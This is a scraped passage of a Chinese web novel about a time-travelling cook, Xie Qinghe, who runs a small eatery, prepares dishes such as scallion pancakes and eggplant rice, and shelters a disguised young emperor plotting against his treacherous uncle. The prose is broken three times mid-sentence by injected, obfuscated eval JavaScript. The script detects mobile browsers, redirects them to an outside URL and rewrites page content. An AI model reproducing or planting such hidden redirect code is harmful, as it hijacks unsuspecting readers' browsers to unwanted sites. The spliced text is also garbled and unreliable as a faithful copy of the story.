菠菜不用炖煮过于烂熟，在蛋花差不多成型后，此时放入菠菜后，即刻将锅端离灶台，不可久煮，否则蛋花变硬菜色失鲜，可就不好了。 此时在上面滴上一滴香油，这碗菠菜蛋花汤可真是秀色可餐、色香味俱全了。 菠菜有润肠解渴的作用，对发热时的口舌干燥最为对症，用于退热补虚再好不过了。 这样一碗清爽的汤饭，前前后后不出半刻钟就做好了。 谢青禾特意取来一只白瓷碗，将那饭食盛入其中，鲜嫩的黄、青翠的绿、留白的雅，真真好看极了。 此时店中有些散客，谢青禾便唤来阿鱼为萧蘅端去。 阿鱼看着这青黄相见的汤直流口水，喉中吞咽几次口水，生怕一个没忍住吃了那郎君的吃食，于是急忙抬脚送去后院厢房。 阿鱼敲门里面没人回应，想是还没醒，于是说了声，“肖公子，我进来啦。” 他推门而进，发现曹御医立于床榻旁边。 曹御医为何在此？何时来的？他与阿姊二人竟不知！ 更诡异的是，平日喜怒不形于色的曹大夫，竟对着床上那个年轻公子红了眼眶。 “先吃饭吧。”曹大夫见有人进来，又恢复了往日神色。 萧蘅费力的坐起身，曹大夫忙帮他将枕头竖起来，从呆愣的阿鱼手中夺过那碗蔬菜烫，用勺子吹了又吹，方送与他喝。 曹大夫一勺一勺地喂，不觉间碗底竟见了底，看着萧蘅面色红润，心里更觉萧蘅呆在这里甚秒。 “肖公子，你好些在此养病，心中困扰之事按照刚才商讨的来。”曹大夫站起身来，弯腰退走。 这一番对话操作，真把阿鱼看愣了，心中揣测着，这曹大夫难不成同肖公子认识？ 12. 葱花千层饼 谢家小娘子说，病中少年是她家新来的账房先生，名叫肖衍。 但昨日把脉，脉象细弱无力、节律不齐，身形削瘦，面色苍白，很大可能患有厌食之症，外貌酷似当年小皇子。 这世上当真有如此巧合的事？ 曹御医心中不安，次日清早便直奔青云楼。 今晨阿鱼从后门出去采买，想是忘记落锁，曹大夫从青石巷走来，见后门开着，想是青云楼已经开始营业，于是并未叨扰麻烦他人，径直走向昨日那间厢房。 此时榻上男子好似觉察到屋内有人，多年在宫中养成的警觉性格，他被子下面的右手立刻握住随身携带的匕首，一双丹凤眼瞬间睁开。 布满血丝的眼底在看到来人后有些闪烁，右手也渐渐放松下来。 这点变化落在曹御医的慧眼中，恰恰印证了他心中的猜想。 当年小皇子病中每每惊厥，就会突然绷紧身体瞪大双目直视来人。 曹大夫眼眶一热，宽阔的双肩微耸，长长的袖袍甩开，双膝弯曲跪伏在地。 昨晚谢家姐弟说要请曹御医时，萧蘅便知是当年从鄞州行宫回来后为自己诊治的曹清徐曹御医。 当年先皇皇后突然暴毙，太后问责，将此次去行宫的所有宫人、官员全部软禁，要求太医配合刑部即刻去行宫彻查死因，曹清徐太医就是其中一员。 曹清徐前去赴任的那晚，偶然听到那个太监深夜说小话，他们许是心中恐慌，二人正商量如何掩盖他们在先皇皇后饭食中下毒，后将其推下山崖的罪行。 “怕什么？文王说了，这桩差事完成，到时会给我们百两金银，出宫后还愁没有好日子过吗？”二人嘀嘀咕咕好一阵，全然不知这些话已经被人听了去。 天下没有不透风的墙，只有死人才能永远保守秘密。那两个太监怕是估计活不过明日，文王就会派人暗杀他们。 如此说来一切都对上了，侍从将先皇、先皇后的尸体打捞上来，清查后发现尸体不仅具有严重的外伤，体内还有少量乌头，这种草药又被称为“断肠草”，微量就可以引发人体麻木、呼吸困难，若长时间未救治，则必死无疑。 理清事情原委后，曹清徐犯了难，自己吃着朝廷供奉，按理应为朝廷鞠躬尽瘁、赴汤蹈火，但此事若如实禀报，自己恐怕比那两个太监死的更惨，若一个纰漏，就会被株连九族。 思索至半夜，仍不愿做出这等苟且偷生之事，当下便用左手提笔，将文王所作所为一一写清楚，绑在信鸽腿上向太后的寿康宫送了出去。 次日，那两名太监果真再未出现，太后却将此次行宫所有随从人员斩杀，包括此次前去的所有太医。 也是文王毕竟是他亲儿子，就算太后知道真相又如何？遭殃的还是无辜百姓，安个护驾不力的说法便尽数诛杀。 最后他想通了，死又有何妨，但萧国政权不能落入贼人之手。正如司马迁那句“人终有一死，或重于泰山或轻于鸿毛”，而他曹清徐要做那前者。 于是他主动向太后上书：臣微末之躯死有余辜，皇子此次惊吓过度，卧床不起。太医院上下三百余人只求为萧氏江山在尽最后一份绵薄之力，救萧氏江山唯一血脉。 半年后，萧蘅终于沉疴尽去，落下这病根也只得慢慢调养了。 因太医院上下救治有功，太后免去他们死罪，让他们告老还乡了。 曹清徐经此一遭，也不再留恋官场，学那古代仁人做起了闲散仙人，偶尔看看病、弹弹琴，陶冶心性罢了。 但今晨确信那少年就是当年小皇子萧蘅后，心头触动，当年之事压在他心头太久，若不告与萧蘅，百年后他也无脸去见逝去的先皇和皇后。 曹清徐将当年之事一五一十告诉萧蘅。 萧蘅听后并未有太大反应，这些事他知道，当时他晕倒被人抬回寝宫后，一个太监面容狰狞的端来一碗饭，“小皇子，你的好日子也该到头了，来喝了这碗饭，同你父母见面去吧。” 萧蘅不喝，那太监继续哄道，“你父母都喝的，有什么可担心的，来……”那太监话未说完就被萧蘅用贴身匕首一刀致命。 这是他第一次杀人，那太监油腻狰狞的端着饭强喂他喝饭的眼神，他这辈子都忘不掉。 曹清徐见他眉宇微蹙，想必心中定是不痛快，“皇上，您现在的病症正是过于抑制情绪所至，说出心中困扰之事，要比压在心中更好。” 萧蘅叹了口气，“曹太医您有所不知，当年我病中半年，朝中大臣早已被文王换洗一空，文王一直有向北方羌国大王卖国求荣的意图。如今朝臣只听文王，这种情形对萧国实属不利啊。” 曹清徐听后大为震惊，他一开始只知文王意图篡位，竟不知还有向邻国卖国求荣的心，这萧国还没到他手中，哪里轮得到他当家做主！ 萧蘅又将十多年来文王如何变相控制他的做法一一说来，这么多年他以为自己习惯了，殊不知只是麻痹自己，再次说起宛如揭开血痂，看似完好的皮肤下已满是溃烂。 曹清徐听后重重叹口气，“现如今，皇上您身体被贼人奸计亏空过重，只有先养好了，才有力气对付小人。不如您近段时间在青云楼养病，借谢娘子的食肆，背地探清文王卖国的把柄，到时候来个釜底抽薪，让他不得翻身！” “谢青禾当日在国子监时，文王多次与她接近，她若真是文王阵营的人，我们岂不是自投罗网？”萧蘅说出心中的疑虑。 曹清徐抚须道：“曾经文王确有将谢婉儿换成谢青禾的想法，谁知平日看着热情好客的谢小娘子登时变了脸，双手叉腰痛骂媒婆，还说出‘你当谁都稀罕巴结权富啊，我才不稀罕’这种话，想来谢娘子与文王之间并未有太深的关联。” 萧蘅沉吟片刻后同意。 ＊ 当天下午，萧蘅便可下床走动了。 谢青禾见他仍身形飘摇，便让他歇上一歇，“休息好了再做工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125747|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢，有想吃的吗？一会让阿鱼给你送去。” 萧蘅看到桌上有叠饼，“就这个吧。” “这是隔壁李婆婆买的烙饼，你要吃我现在给你做。”谢青禾道。 谢青禾也想吃点油饼，再喝点汤真惬意。 她端来面盆，放入两碗面粉，再加点盐增加筋性，倒入一半碗开水汤面、一半碗用冷水和面、这期间要用筷子不断搅拌，刚才的面粉已结成絮状，接着将面团揉到光滑无面块后放到灶台上醒面半柱香。 趁这会空闲，在调制些油酥，一会抹在面饼上更好起酥皮。 在粗陶小碗加入一点面粉、适量盐、油、用花椒、八角、桂皮、丁香、小茴香磨成的五香粉，接着倒入热油，碗中顿时冒起一个个金色泡泡，筷子搅匀的油酥像一碗棕色的酸奶。 将葱掐掉外面那层干黄的枯叶，只要上面那些绿色葱叶，将新鲜翠绿的葱叶切成无数等量小段，在依次重复切段，最后成一点点小段的葱花。 面醒好后再搓成长条，用刀切成均份，用面杖擀成面饼，用刷子蘸点油酥刷在面饼上，再撒上密密一层翠绿葱花。 为了让饼更酥脆有层次，谢青禾用刀在面饼中心处向外划，任意拎起一边卷起，最后将边缘处捏紧，此时的面团像个宝塔。 然后用手掌从上面按压不够平整，再用面杖擀压，面团又恢复成圆饼状，葱花在面皮下隐约可见。 面饼表面刷上一层清水，撒上的芝麻后再用面杖压实，这样芝麻就牢牢粘在面饼上。 阿鱼此刻将锅热好，倒入油后，谢青禾放入面饼，随着滋滋啦啦的声音，一面已逐渐金黄，用锅铲翻面，烙至两面金黄酥脆就可以了。 谢青禾将饼全部烙好后，阿鱼忍不住道：“阿姊，我想先吃一块～” 阿鱼水灵灵的眼睛委屈巴巴的看着谢青禾，当真让人拒绝不得，“当然可以。” 有了谢青禾的同意后，阿鱼开心的从碗中拿起一块，还没品尝，口水就不住的分泌，一口咬下去外脆里软，葱花嫩嫩的，外加芝麻的香味，简直太满足了！ “吃完不要忘记给后院肖衍送过去哦。”谢青禾道。 阿鱼点头，口中咬着饼，手中端着盘子送往后院厢房。 萧蘅本来不是太饿，但阿鱼端来的那饼色泽诱人，还飘出阵阵麦香、葱香、芝麻香的味道，即使有厌食症也忍不住食指大动。 他看阿鱼手上都是油，第一反应是忍着。 阿鱼见他不吃，“你不吃我可全吃了啊。”阿鱼正好没吃饱，端着盘子就要走。 萧蘅忙翻身抬头，“慢着。” 真香定律永不迟到。 萧蘅不仅吃的津津有味，还将饼带回宫中。 一天未回，旁人总要疑心。 萧蘅将带有青云楼的纸包裹放在桌案上。 门外太监就迈着沉稳的碎步，捏着嗓子道：“启禀陛下，文王在外求见，说有要事启奏。” 13. 肉末茄子焖饭 萧蘅早就料到，自己一日未回宫，文王就已经坐不住了，冷冷道，“宣。” 少顷文王入殿，步履沉稳不疾不徐，至御前躬身行礼，“臣萧岐叩见陛下。” 萧蘅目光淡淡扫过，“皇叔免礼。” 文王清咳，“臣听闻陛下昨日出宫，至今方还，臣忝居宗亲，故来询问。” 萧蘅指尖轻敲膝盖，语气疏离冷淡，“不过宫外闲走，散散心，劳皇叔记挂。” “臣担心陛下您的安危，怕陛下只身在外，被歹人窥伺，陛下您乃天下之主，若有闪失，萧国江山该如何？” 皇帝抬眼，目光清寒，“皇叔素来谨慎，朕自然信得过。只是皇叔这般紧张，倒像是……怕朕在外，听见了什么不该听的，见了什么不该见的？” 文王一瞬眸色微沉，旋即恢复温和，语气沉定：“陛下说笑了，臣只忧陛下安危，忧朝纲无主，别无他意。还望陛下日后出行，预先告知臣与中枢，免得臣等惶恐，乱了朝局。” 皇帝淡淡颔首，“朕知道了，有一事，还需皇叔您的协助。” “近来天下太平，未有边境匈奴侵扰，朕欲趁此良机，出宫静养些时日，这段时间需皇叔您帮忙操持一二。” 文王听闻萧蘅此言，心想这侄子终于开窍了，肯拱手让江山了？不如趁此时机直接让他不能回来。 “皇叔？” 文王回神，面色平静道，“此举可行，臣这就为陛下安排得力的暗卫。” 萧蘅摆手，“皇叔有心了，此地安全无虞，无需劳师动众，朕带上一个小允子足矣。” 这小允子曾服侍过先皇，一直忠心耿耿，留他在身边不用过多提防。 小允子在外一直是个老实忠厚的形象，殊不知他是装傻充愣，这样旁人便无法从他身边打探关于萧蘅的消息。 精明如文王，自是看不上小允子这样的奴才的，正如他一直看不上萧蘅一般，于是未再反驳，同意这对蠢主仆出宫‘静养’。 文王躬身行礼退下。 大殿回廊上，文王缓步踱着，回想刚才殿内案几上放有一包散发阵阵葱香的油饼。萧蘅向来厌食，这些油腻之物更是不能近身，今日却将油饼置于一臂之处，面色居然有点血色。 文王萧岐握紧拳头，心中隐隐怒意，这小子远比自己那个亲哥谨慎多了，吩咐御膳房的人多多次，也未成功让萧蘅中毒，还让自己在这想这么多迂回办法除掉他。 他倒要看看，萧蘅能活几时！ ＊ 次日，萧蘅主仆二人收拾好行囊，出宫后二人皆换上便衣，脸上还抹上些黑粉。 小允子身为萧蘅的贴身侍从，几日前便知萧蘅最近下午一直去青云楼，御膳房的人向来听从文王指示，二人表面是叔侄关系，可实际上却因皇位一直暗中较劲，因此即使知道萧蘅有厌食症，也故意吩咐御膳房将饭食做的难以下咽。 生在君王家虽然有享不尽的荣华富贵，可在权利面前毫无亲情可言。 马车里，小允子缩在角落，眉头皱的能夹死苍蝇，“皇上，您是九五之尊，万金之躯，怎能乔装成如此模样，去那街头巷尾的食肆中做活？” 小允子看萧蘅闭目养神，未有不悦之色，道，“那青云楼不过是个生意刚有起色的小食肆，有什么好东西，值得我们这么劳心费力寻它来？” 萧蘅语气平淡道，“朝堂诸事繁杂，又时刻被文王监视，不如随了文王的念想，我暂且远离朝堂，在此安身也可收集一些文王通敌叛国的罪证……” 小允子登时瞪大双眼，没想到文王还有这样的心思。 “至于青云楼饭食如何，不是他人凭空揣测就能定论的，你去了便知。”萧蘅补充道。 小允子内心赞叹萧蘅的计谋，可一想到自幼锦衣玉食的皇上在这样鄙陋的食肆做活，心中便有丝不悦。 不多时，马车便来到了青云楼门口。 因为马上冬至，青云楼门口挂着两串崭新的红灯笼，厅堂内食客推杯换盏，隐约从食肆飘出饭菜香，勾得过往行人忍不住探头向食肆里张望。 此时谢青禾正在后厨忙碌，正在做一道家常却下饭的饭食——肉末茄子焖饭。 案台上整齐摆放着刚才清洗好的食材。 茄子皮薄肉厚，通体紫亮光滑，是谢青禾特意托街坊张婆婆帮忙留意早市，从菜农手里购来的第一批新鲜茄子。 猪肉选用的是肥瘦相间的五花肉，宋代大文豪苏轼就曾用五花肉做出闻名于世的‘东坡肉’，做‘东坡肉’就要选用那种三分肥七分瘦，这样才能达到鲜香不腻的效果。 再选用上好粳米，粳米是大米的一种，但更有粘性仅次于糯米，且颗粒饱满圆润晶莹，卖相更好，是做焖饭的绝佳食材。 一切准备就绪后，谢青禾带上攀膊，指尖按住茄子，拿起菜刀手腕转动，便将茄皮削下，那送菜的张婆婆见了，连连夸赞，“青禾丫头，你这刀功可是了得，这茄皮削的又快又匀称，比那些大酒楼厨子刀功都要好！” 她做私房菜主厨多年练就的本事，一开始来到这个十指不沾阳春水的古代小姐的壳子里确实有点影响，但凡事贵在坚持，现在刀功比以前有所进益。 谢青禾文言哂笑，手中动作未停，一边削茄子一边回应道，“张婆婆您过奖了，不过是做惯了这些活计，熟能生巧罢了。” 说话间，她已将茄子的皮全部削好，随后切成大小均匀的茄丁，每一块大小相差无几，刀刃落下的声音清脆悦耳，不过片刻功夫，一筐茄子成了盘中的茄丁，整整齐齐摞在盘中，格外好看。 接着她将茄丁放入准备好的淡盐水中浸泡，因为茄子吸油，用淡盐水浸泡片刻，可以让茄子在翻炒过程中不吸太多油，吃起来会更加清爽，不油腻。 浸泡茄子的间隙，谢青禾将五花肉切成薄片，接着再剁成肥瘦均匀的肉沫，剁好的肉沫放在干净的瓷碗中，随后加入少许酱豉、白酒，再洒上一点细盐，用筷子顺着一个方向搅拌，等到肉沫发粘后，放在一边静置一刻钟，这样肉沫可以充分吸收酱豉和白酒的香味，祛除猪肉本身的腥味。 片刻后，肉沫腌制完成，谢青禾将茄子沥干水分，放在一边备用。 她拿起一块猪油放进热好的铁锅中，猪油瞬间融化，伴随着滋滋声响，一股浓郁的猪油香弥漫开来，勾得食客频频探头，“谢娘子做饭真香啊，快些做好，这味道勾得我们可都等不及了。” 谢青禾应了一声， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145778|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “放心吧，待会准保让各位大饱口福。” 猪油完全融化后，谢青禾先将蒜末、葱花放入锅中爆香，接着将腌制好的肉沫倒入锅中，大火翻炒。 谢青禾手中的锅铲不停翻动，将肉沫打散，随着翻炒，肉沫渐渐从粉红色变成深褐色，肥肉里的油脂被充分翻炒出来。 浓郁的肉香混着蒜香、葱香、白酒香，几乎飘满整个青云楼，街上行人纷纷走进食肆，准备尝尝这诱人的饭食。 “老板娘，现在做的什么菜？我也来一份！”食客迫不及待的道。 阿鱼赶忙来招待，“各位客官稍等，今日贵店做的是肉末茄子焖饭，一会出锅就给各位品尝。” 茄子不用翻炒过熟，烂熟的茄子吃起来蔫蔫蹋蹋没有滋味，等肉沫将熟未熟时，放入白白的茄丁，谢青禾不停翻炒，让茄丁与肉沫充分混合。 等到茄丁变成淡淡的褐色时，谢青禾在淋上半勺老抽。 这时锅中肉汁大半被吸收殆尽，谢青禾又加入少许清水，翻炒后盖上锅盖，转小火焖煮片刻，让食材入味。 焖煮饭菜的间隙，谢青禾将提前浸泡好的粳米放入另一口锅中，倒入清水，约没过粳米一指左右，随后盖上锅盖后大火蒸煮。 这时茄子已经焖煮完成，谢青禾掀开锅盖，一股浓郁的茄香和肉香扑面而来，酱汁色泽鲜亮裹在每一块茄丁和肉沫上，让人忍不住垂涎欲滴。 随后将焖至半熟的米饭倒入茄子肉沫中，用锅铲将米饭与茄子肉沫拌匀，随后盖上锅盖焖煮片刻。 焖煮过程中，香气不断从锅里飘出，萧蘅、小允子走进食肆时，看到食客们不停地扭头看向后厨。 此时，谢青禾掀开锅盖，一股极致的香气瞬间弥漫整个青云楼。 小允子下意识吸了下鼻子，先前的愤懑转化成此刻的惊讶与好奇，心里暗自一惊——这般浓郁的香味，比御膳房正常水准的饭食都要诱人，一时间，竟有些迫不及待，想要尝尝这道菜到底是什么滋味。 阿鱼从后厨一一将饭食端上食客的饭桌后，谢青禾正巧擦手从后厨走来，她眉眼弯弯地迎上去，又注意到他身边还有旁人，轻声问道，“这位是？” “这是我的同乡好友，王允。”萧蘅淡淡开口，“他听闻我近日在京城找到一个好活计，便也来探探风。” 谢青禾见小允子眉眼温顺，抬眼间有几分机灵的模样，便开口道，“不如在我这小店中暂且落脚吧，近来食肆生意繁忙，正愁人手不够呢。” 小允子正愁该如何在青云楼落脚，谁知这谢娘子这般爽利，心中涌出一丝欣喜。 谢青禾转身从后厨端来两碗刚出锅的肉末茄子焖饭，“肖先生、小允哥快来尝尝今日我做的焖饭，刚出锅，可香了。” 二人刚才就看到厅中食客个个对此饭翘首以盼的样子，现下终于见到是何饭菜让人个个按耐不住。 只见碗中焖饭色泽鲜亮，软糯的米饭上覆着一层深褐色浓郁酱汁，外加一层细碎肉沫还有少许葱花点缀，让人一看就食物大增。 小允子站在一旁，神色纠结，方才自己还想着这里‘街头吃食难以入眼’‘怎能同御膳房相比’的话，眼神直勾勾地盯着那香气飘飘的焖饭，满脸挣扎。 14. 甘蔗桂花汤 谢青禾招呼道，“快吃啊。” 萧蘅点头，舀起一勺焖饭送入口中，软糯的米饭吸足了肉沫与茄子的香气，酱汁醇厚鲜香，茄丁绵密入味，肉沫喷香不腻，平日寡淡的胃口瞬间被勾起。 小允子站在一旁，最终未抵得过那诱人香气，端起碗用筷子夹了饭菜。 一口下去，小允子感觉自己眼睛都亮了，平日他不爱吃米饭，今日都忍不住多吃几口，嘴里未吃完就等不及舀第二勺。 萧蘅眼中露出一丝戏谑，问小允子，“味道如何？” 小允子刚才狼吞虎咽，自是不好意思说出反驳的话，可也有点拉不下脸，嗫嚅道，“可以。”说着，又舀起一勺焖饭塞进口中，酱汁还粘在了嘴角，模样有些滑稽。 萧蘅未戳破小允子的自尊心，淡淡道，“日后安心在店内帮忙，不许偷懒给旁人找不方便。” 小允子连连点头，嘴里还有一口米饭，含糊应道，“我定会在店内好好做活，定不给陛……鄙兄丢脸。” 谢青禾看他老实本分被同乡哥哥吓唬一下，说话就开始磕磕巴巴，笑道，“食肆没有复杂的活计，不用紧张。” 小允子看着谢青禾和善的面容，一开始那些不好的想法全都消散，只觉得她漂亮能干脾气好。 谢青禾给众人分配好任务后，自己便去后厨忙活了。 晌午后三刻左右，店内没有太繁忙。 这时曹清徐背着药箱向青云楼走来。 “曹大夫，来给肖先生复诊啊。”阿鱼问道。 曹清徐点头，“肖衍可在后院厢房？” “在的，晌午过后店内不太忙，肖先生就回后院歇息了。”阿鱼应道。 曹清徐向阿鱼拱手，便向后院走去。 萧蘅前天风寒，外加这几日对账，虽然饮食有些改善，但脾胃仍虚寒冷。 曹清徐把脉后，萧蘅身体状况并不理想，“陛下您脉象沉弱，厌食之症并非一朝一夕可根除，汤药太苦，不如尝试药膳滋补。茯苓健脾安神、清甜养人，可多用茯苓药材入膳。” “只是近来城中药铺茯苓五十文一斤，往日不过二十文，若要采买，不妨去城郊李伯药铺，应该还是往日的价格。”曹清徐补充道。 曹清徐又向谢青禾交代一二后便告退了。 于是趁着这会不忙，萧蘅带着小允子便一同去城郊的李伯药铺采买茯苓。 车把式大约走了一刻钟，终于看到那家药铺。 李伯药铺在城郊偏僻处，本就人烟稀少，有些冷清是自然的，二人走进铺内，只见一个胡子花白的老伯在柜前称药这人便是李伯了。 “大伯，我们听说这里茯苓价格适宜，想来采买一些。”小允子上前道。 谁知李伯听后脸上浮现出一丝愁苦，叹道，“几日前，这批茯苓药材就被官兵全部装筐带走了，说是未经‘查验’不许私自流入市集，一概暂扣待检。” 萧蘅抬眼道，“官兵可曾出示腰牌？” “出示了，旁的字看不清，只看清那木牌下面有文王令三个字。”李伯颤巍巍的说，面上露出惶恐不安的神色。 按朝廷规制，药材入市前会让户部查验是否合格，属于正常流程。 李伯如此惶恐，约莫被官兵一时冲撞吓到了。 萧蘅温声安抚道，“李伯放宽心，想来不过是例行公事罢了，应该不出几日就奉还给您了。” “但愿如此啊……”李伯喃喃应道。 萧蘅看李伯腿脚不便，又上了年纪，便想问下家中是否有人相互照拂，“家中可还有旁人？” “拙荆多年卧病在床，膝下一子在文王府仓库当差，做些记账入库的杂事。”提及儿子，李伯的眼神才稍显光彩。寻常百姓能入王府当差，在外人看来已是顶体面的差事。 自幼在深宫长大的萧蘅，未体会过人间疾苦，即使李伯药铺家庭困难，可因这种拳拳爱子之心所动容。 屋内隐约传来老妇粗重的呼吸声，像一口破败的风箱，偶尔伴随几声重重的咳嗽声，大多时间，药铺内均是一片毫无生机的沉静。 萧蘅不觉动了恻隐之心，从袖中取出二两银子，放在柜面上，“李伯，这点银子您先收下，好生照料伯母，我们改天再来采买。” 李伯听后，浑浊的眸子瞪得老大，连连摆手，“这如何使得！” 萧蘅在宫中一盏茶可能就要几两，可这几两银子却能救困苦人家于水火，“李伯您暂且收下，就当是下次采买茯苓的定金，我不催，您慢慢筹备就可以。” 李伯嘴角哆嗦，面上的皱纹也跟着颤动，浑浊的眼睛马上就要落泪，他慌忙转身，用洗的发白的灰蓝衣袖拭了下眼角，接着拄着拐杖缓步踱到药柜前，拉出一个药盒，颤巍巍的从里面拿出一个浆土色布包。 “这是拙荆今年秋日摘的桂花，晒的干透，桂花干暖胃润喉，冬季泡水喝可缓解胃部不适，二位公子请收下。”许是因为李伯收下别人银钱心中过意不去，于是将那布包使劲塞到萧蘅手中。 萧蘅知道若是自己不拿，李伯心中定然不安，因此便收下那包干桂花。 回到青云楼已至傍晚，天还未黑透，集市上仍热闹非凡，商贩此起彼伏的叫卖声、茶楼酒馆的烟火气混着冬日的冷风也不觉得那么枯燥寒冷了。 二人虽未买到茯苓，但也算有所收获。萧蘅如今亲自体察民情、了解百姓，反而很开心，比那冷冰冰的深宫有温度多了。 萧蘅进入食肆后径直走到柜台里，开始核查账单。 小允子手捧着那包干桂花，准备给谢青禾。 此时谢青禾正在后厨备餐，冬日里做饭不觉得严寒，因此她只穿了件浅绿夹袄，袖口收得利落，抬眼看到小允子，眉眼弯起，问道，“下午你同肖先生往何处去了？我午后小憩片刻，醒来便寻不到你们，心中还惦记着，你们初来京城不知对地貌是否熟悉，担心你们一时迷路。” 说完，谢青禾先觉出不妥，二人皆是过了弱冠的男子，就算不熟悉京城地貌，也可开口问人，于是有些羞赧道，“瞧我这嘴，净说些胡话，这里人人热心，张口问路还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152940|196059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能两人丢了不成？” 小允子见状连忙陪笑解围，“谢姑娘心善，惦念着我们，我们感激还来不及呢。” “我同肖公子家就在城郊附近，今日趁着下午店里清闲时刻，于是便想回家闲逛片刻，顺路采买些茯苓，回来做点茯苓糕吃。”小允子补充道。 谢青禾点头，“城郊路远，冬日风寒，可要仔细保暖，你们回来后可要先喝点热水暖暖，万不要受了凉。” 小允子点头赞许。 谢青禾想着上午曹清徐交代着账房肖衍脾胃虚弱，茯苓可以疏肝解郁，用来泡水也是不错的，“你们采买的茯苓呢？我给你们泡些热水驱驱寒气。” 小允子无奈苦笑，将下午发生的事情一一说与谢青禾听。 谢青禾轻叹道，“世道艰难。” 小允子将那包桂花干交给谢青禾后便去做活了。 待到傍晚，谢青禾送完最后一波食客后，身子虽疲乏，喉间更是干渴得厉害。 恰在此时，窗外有一个挑担的商贩路过，口中吆喝道，“青皮甘蔗，甜润解渴呦……” 叫卖声十分应景，一下喊到谢青禾的心坎上，俗话说“冬吃甘蔗赛人参”，她当即起身拦住那商贩，花了十文钱买了一小段。 拿着那段甘蔗就直奔后厨去削皮，准备大快朵颐。 她拿起刀发现案板旁边放着一个浆黄色的包裹，细细嗅来可以闻到桂花的芳香，这不是小允子下午送来的那包桂花干。 许是夜晚的宁静让她迸发出做饭的灵感，她将那去皮甘蔗切段放入锅中，再倒入冷水慢慢炖煮。 等到水汽浮上来后，空气中飘散着甘蔗独有的甜润气息，汤色也变得清透蜜黄，她捏起一撮晒得干透的桂花干，花瓣扑簌簌落在汤汁中，慢慢打着旋地舒展开来。 谢青禾盖上盖子，再焖上片刻，让香气彻底融入水中。 片刻后，她将汤盛放瓷碗中，白瓷配淡黄汤汁，在冬日昏黄的烛火下，显得格外温馨。 萧蘅掀帘而入，他轻轻捏着眉头放松下这一天的乏累，鼻子轻嗅，闻到丝丝甘甜，眉眼瞬间放送下来。 小允子也紧跟着凑上前来，馋得咽口水，顿时嘴也跟着甜起来，“谢姑娘您真是人美心善，厨艺还好，说是天仙都不为过！” 阿鱼早已搬着小板凳守在灶边，捧着瓷碗眼睛直发亮，随后小口啜饮，汤水又暖又甜滑过喉咙，放下瓷碗后，眯着眼道，“阿姊，喝了这碗汤，今晚定能安稳的睡上一觉！” 此时萧蘅端起汤碗轻抿，温润甜香登时萦绕整个肺腑，适才的疲乏顿时消散，心中只剩下甜蜜。 “此刻不过二更天，肖先生夜里回去，路上多加小心。”谢青禾叮嘱道。 萧蘅将沉浸在美食中的思绪收回，抬眸看向她，“谢姑娘，这段时间我暂且不回去。” 谢青禾转念一想，冬日深夜奔波着实辛苦，又不安全。 这般倒也妥当。 于是她与阿鱼一同去后院，再收拾出一间厢房开给新来的小伙计‘王允’。 15. 玉米鲜虾馄饨 当下夜已深，冬日的夜晚寒冷且寂静，四人收拾完后皆回房休息。 谢青禾躺在床上，口中还残存着傍晚喝的那碗桂花汤的味道。 世人对于桂花的嗅觉记忆往往和思乡有着很深的羁绊，回想自己来到这个朝代已有半年，今年中秋只是同阿鱼一起过的，当下心中对阿爷阿奶的思念汹涌如潮水。 她点亮烛火，心中唤醒系统，“我在系统中被评为厨神就可以回去了吗？” 【是的，届时您可来去自由】 有了系统这句话，谢青禾赚钱的劲头十足。 当下谢青禾在系统中被评为中级厨师，进度有30%，距离高级厨师还差五百两黄金，在现世这个金价飞涨的时代，少说也得有四五百万。 青云楼近来虽有起色，可除去食材、人工各项成本，一日利润也就二十两上下，在现世也就三千左右。 她算了算按照青云楼当下的盈利水准，约莫还要四年时间才能到高级厨师的水准。 阿爷阿奶已是花甲之年，正是需要人尽心照料的时候，她必须抓紧赚钱，早日回到二老身边。 现在已是三更时分，打更人铜锣一响，惊得巷中谁家小狗汪汪吠啦几声。等到夜晚又恢复安静时，小狗又发出几声低低的呜咽。 谢青禾心中正惦念着家人，被这一声声的犬吠声打断了思绪，京城虽说五里便有士兵值守，百姓仍爱养些小狗看家护院，平日有点风吹草动，便能第一时间警醒主家。 她自幼便喜欢小狗。 年少时，旁人总笑话她无父无母，她却始终坚信阿爷阿奶说的话——父母会在她18岁考上大学的那日来见她。 她每每拿这些话去反驳那些嘲讽，换来的只有更刺耳的哄笑，“这是个傻子啊！” 她的童年时期没有父母的陪伴，也没有同龄人愿意靠近她，唯有阿爷阿奶从路边捡来的一只土黄色小狗，日日陪着她。 谢青禾给它取名豆豆，它性子温顺又极其粘人，她每天跟着小狗跑来跑去，是她童年时期最好的朋友。 如今算来，豆豆也有八岁了，算是一条沉稳的成年大狗，有它守在阿爷阿奶身旁，替她陪伴左右，她心中便宽慰些。 